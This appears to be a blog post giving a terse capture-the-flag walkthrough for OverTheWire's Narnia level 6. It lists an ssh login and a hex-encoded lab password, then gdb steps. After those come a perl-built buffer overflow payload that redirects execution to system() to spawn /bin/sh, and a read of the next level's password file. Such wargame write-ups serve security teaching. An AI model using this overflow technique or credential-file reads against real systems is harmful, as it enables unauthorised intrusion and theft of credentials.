# ssh narnia6@narnia.labs.overthewire.org
6e65657a6f6361656e67
narnia6@melissa$ file /narnia/narnia6
narnia6@melissa$ cat /narnia/narnia6.c
narnia6@melissa$ gdb -q /narnia/narnia6
(gdb) run a b
(gdb) break system
(gdb) quit
narnia6@melissa$ /narnia/narnia6 `perl -e 'print "a"x8 . "\x60\xf2\xea\xf7"'` `perl -e 'print "a"x8 . "/bin/sh"'`
$ /usr/bin/whoami
$ /bin/cat /etc/narnia_pass/narnia7
No comments:
Post a Comment